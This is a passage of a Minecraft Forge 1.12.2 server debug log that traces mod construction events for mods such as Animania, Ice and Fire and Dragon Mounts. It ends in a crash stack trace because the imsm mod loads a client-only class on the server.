net/minecraftforge/fml/common/ICrashCallable [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/Loader$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/Loader$1 [14:28:02] [Server thread/TRACE] [FML]: Mod forge is using network checker : No network checking performed [14:28:02] [Server thread/TRACE] [FML]: Testing mod forge to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod forge accepts its own version (14.23.5.2847) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into forge for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod forge [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Minecraft Forge took 0.145s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod techguns_core [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod techguns_core [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Techguns Core took 0.000s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod craftstudioapi [14:28:02] [Server thread/TRACE] [FML]: Mod craftstudioapi is using network checker : Accepting version 1.0.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod craftstudioapi to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod craftstudioapi accepts its own version (1.0.0) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into craftstudioapi [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for craftstudioapi [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into craftstudioapi for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod craftstudioapi [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - CraftStudio API took 0.071s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod animania [14:28:02] [Server thread/TRACE] [FML]: Mod animania is using network checker : Accepting version 1.7.3 [14:28:02] [Server thread/TRACE] [FML]: Testing mod animania to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod animania accepts its own version (1.7.3) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into animania [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for animania [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.animania.Animania for mod animania [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.animania.Animania [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.animania.config.AnimaniaConfig$EventHandler for mod animania [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.animania.config.AnimaniaConfig$EventHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into animania for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod animania [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Animania took 0.158s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod betteranimalsplus [14:28:02] [Server thread/TRACE] [FML]: Mod betteranimalsplus is using network checker : Accepting version 8.0.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod betteranimalsplus to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod betteranimalsplus accepts its own version (8.0.0) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for its_meow.betteranimalsplus.BetterAnimalsPlusMod for mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class its_meow.betteranimalsplus.BetterAnimalsPlusMod [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for its_meow.betteranimalsplus.common.CommonEventHandler for mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class its_meow.betteranimalsplus.common.CommonEventHandler [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for its_meow.betteranimalsplus.init.BetterAnimalsPlusRegistrar for mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class its_meow.betteranimalsplus.init.BetterAnimalsPlusRegistrar [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into betteranimalsplus for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Better Animals Plus took 0.097s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod bookworm [14:28:02] [Server thread/TRACE] [FML]: Mod bookworm is using network checker : Accepting version 1.12.2-2.3.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod bookworm to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod bookworm accepts its own version (1.12.2-2.3.0) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into bookworm [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for bookworm [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for net.soggymustache.bookworm.common.init.items.BookwormItems for mod bookworm [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class net.soggymustache.bookworm.common.init.items.BookwormItems [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for net.soggymustache.bookworm.common.entity.BookwormEntities for mod bookworm [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class net.soggymustache.bookworm.common.entity.BookwormEntities [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into bookworm for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod bookworm [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Bookworm API took 0.009s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod k4lib [14:28:02] [Server thread/TRACE] [FML]: Mod k4lib is using network checker : No network checking performed [14:28:02] [Server thread/TRACE] [FML]: Testing mod k4lib to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod k4lib accepts its own version (1.12.1-2.1.81) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into k4lib [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for k4lib [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into k4lib for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod k4lib [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - K4Lib took 0.008s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod colorchat [14:28:02] [Server thread/TRACE] [FML]: Mod colorchat is using network checker : No network checking performed [14:28:02] [Server thread/TRACE] [FML]: Testing mod colorchat to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod colorchat accepts its own version (1.12.1-2.0.43) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into colorchat [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for colorchat [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into colorchat for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod colorchat [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - ColorChat took 0.025s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod cw [14:28:02] [Server thread/TRACE] [FML]: Mod cw is using network checker : Accepting version 1.0.2 [14:28:02] [Server thread/TRACE] [FML]: Testing mod cw to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod cw accepts its own version (1.0.2) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into cw [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for cw [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for cw.util.handlers.CWRegistryHandler for mod cw [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class cw.util.handlers.CWRegistryHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into cw for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod cw [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Creature Wisperer took 0.008s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod dragonmounts [14:28:02] [Server thread/TRACE] [FML]: Mod dragonmounts is using network checker : Accepting version 1.12.2-1.6.3 [14:28:02] [Server thread/TRACE] [FML]: Testing mod dragonmounts to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod dragonmounts accepts its own version (1.12.2-1.6.3) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.TheRPGAdventurer.ROTD.event.RegistryEventHandler for mod dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.TheRPGAdventurer.ROTD.event.RegistryEventHandler [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.TheRPGAdventurer.ROTD.inits.ModSounds$RegistrationHandler for mod dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.TheRPGAdventurer.ROTD.inits.ModSounds$RegistrationHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into dragonmounts for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Dragon Mounts took 0.033s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod extragems [14:28:02] [Server thread/TRACE] [FML]: Mod extragems is using network checker : Accepting version 1.2.8 [14:28:02] [Server thread/TRACE] [FML]: Testing mod extragems to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod extragems accepts its own version (1.2.8) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into extragems [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for extragems [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for xxrexraptorxx.extragems.main.ModBlocks for mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class xxrexraptorxx.extragems.main.ModBlocks [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for xxrexraptorxx.extragems.main.ModItems for mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class xxrexraptorxx.extragems.main.ModItems [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for xxrexraptorxx.extragems.util.RecipeHandler for mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class xxrexraptorxx.extragems.util.RecipeHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into extragems for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - ExtraGems took 0.103s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod horse_colors [14:28:02] [Server thread/TRACE] [FML]: Mod horse_colors is using network checker : Accepting version 1.12.2-1.0.2 [14:28:02] [Server thread/TRACE] [FML]: Testing mod horse_colors to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod horse_colors accepts its own version (1.12.2-1.0.2) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into horse_colors [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for horse_colors [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into horse_colors for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod horse_colors [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Realistic Horse Genetics took 0.012s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod llibrary [14:28:02] [Server thread/TRACE] [FML]: Mod llibrary is using network checker : Accepting version 1.7.19 [14:28:02] [Server thread/TRACE] [FML]: Testing mod llibrary to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod llibrary accepts its own version (1.7.19) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into llibrary [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for llibrary [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into llibrary for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod llibrary [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - LLibrary took 0.045s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod iceandfire [14:28:02] [Server thread/DEBUG] [forge]: Preloading CrashReport Classes [14:28:02] [Server thread/DEBUG] [forge]: com/github/alexthe666/iceandfire/client/particle/IceAndFireParticleSpawner$1 [14:28:02] [Server thread/TRACE] [FML]: Mod iceandfire is using network checker : Accepting version 1.8.3 [14:28:02] [Server thread/TRACE] [FML]: Testing mod iceandfire to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod iceandfire accepts its own version (1.8.3) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.github.alexthe666.iceandfire.ClientProxy for mod iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.github.alexthe666.iceandfire.ClientProxy [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.github.alexthe666.iceandfire.CommonProxy for mod iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.github.alexthe666.iceandfire.CommonProxy [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into iceandfire for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Ice and Fire took 0.190s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod ichunutil [14:28:02] [Server thread/TRACE] [FML]: Mod ichunutil is using network checker : Accepting range 7.2.0 or above, and below 7.3.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod ichunutil to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod ichunutil accepts its own version (7.2.2) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into ichunutil [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for ichunutil [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into ichunutil for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod ichunutil [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - iChunUtil took 0.044s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod imsm [14:28:03] [Server thread/TRACE] [FML]: Mod imsm is using network checker : Accepting version 1.12 [14:28:03] [Server thread/TRACE] [FML]: Testing mod imsm to verify it accepts its own version in a remote connection [14:28:03] [Server thread/TRACE] [FML]: The mod imsm accepts its own version (1.12) [14:28:03] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into imsm [14:28:03] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for imsm [14:28:03] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for modid.imsm.core.EventHandler for mod imsm [14:28:03] [Server thread/ERROR] [FML]: An error occurred trying to load an EventBusSubscriber modid.imsm.core.EventHandler for modid imsm java.lang.NoClassDefFoundError: net/minecraft/client/multiplayer/WorldClient at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) [AutomaticEventSubscriber.class:?] at net.minecraftforge.fml.common.FMLModContainer.constructMod(FMLModContainer.java:612) [FMLModContainer.class:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) [minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) [minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.sendEventToModContainer(LoadController.java:219) [LoadController.class:?] at net.minecraftforge.fml.common.LoadController.propogateStateMessage(LoadController.java:197) [LoadController.class:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) [minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) [minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.distributeStateMessage(LoadController.java:136) [LoadController.class:?] at net.minecraftforge.fml.common.Loader.loadMods(Loader.java:595) [Loader.class:?] at net.minecraftforge.fml.server.FMLServerHandler.beginServerLoading(FMLServerHandler.java:98) [FMLServerHandler.class:?] at net.minecraftforge.fml.common.FMLCommonHandler.onServerStart(FMLCommonHandler.java:333) [FMLCommonHandler.class:?] at net.minecraft.server.dedicated.DedicatedServer.func_71197_b(DedicatedServer.java:125) [nz.class:?] at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:486) [MinecraftServer.class:?] at java.lang.Thread.run(Thread.java:748) [?:1.8.0_232] Caused by: java.lang.ClassNotFoundException: net.minecraft.client.multiplayer.WorldClient at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:191) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] ... 38 more Caused by: net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerException: Exception in class transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer@67a056f1 from coremod FMLCorePlugin at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:260) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] ... 38 more Caused by: java.lang.RuntimeException: Attempted to load class bsb for invalid side SERVER at net.minecraftforge.fml.common.asm.transformers.SideTransformer.transform(SideTransformer.java:62) ~[forge.jar:?] at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:256) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] ... 38 more [14:28:03] [Server thread/ERROR] [net.minecraft.server.MinecraftServer]: Encountered an unexpected exception net.minecraftforge.fml.common.LoaderException: java.lang.NoClassDefFoundError: net/minecraft/client/multiplayer/WorldClient at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:89) ~[forge.jar:?] at net.minecraftforge.fml.common.FMLModContainer.constructMod(FMLModContainer.java:612) ~[forge.jar:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) ~[minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) ~[minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.sendEventToModContainer(LoadController.java:219) ~[forge.jar:?] at net.minecraftforge.fml.common.LoadController.propogateStateMessage(LoadController.java:197) ~[forge.jar:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) ~[minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) ~[minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.distributeStateMessage(LoadController.java:136) ~[LoadController.class:?] at net.minecraftforge.fml.common.Loader.loadMods(Loader.java:595) ~[Loader.class:?] at net.minecraftforge.fml.server.FMLServerHandler.beginServerLoading(FMLServerHandler.java:98) ~[FMLServerHandler.class:?] at net.minecraftforge.fml.common.FMLCommonHandler.onServerStart(FMLCommonHandler.java:333) ~[FMLCommonHandler.class:?] at net.minecraft.server.dedicated.DedicatedServer.func_71197_b(DedicatedServer.java:125) ~[nz.class:?] at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:486) [MinecraftServer.class:?] at java.lang.Thread.run(Thread.java:748) [?:1.8.0_232] Caused by: java.lang.NoClassDefFoundError: net/minecraft/client/multiplayer/WorldClient at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more Caused by: java.lang.ClassNotFoundException: net.minecraft.client.multiplayer.WorldClient at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:191) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more Caused by: net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerException: Exception in class transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer@67a056f1 from coremod FMLCorePlugin at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:260) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more Caused by: java.lang.RuntimeException: Attempted to load class bsb for invalid side SERVER at net.minecraftforge.fml.common.asm.transformers.SideTransformer.transform(SideTransformer.java:62) ~[forge.jar:?] at 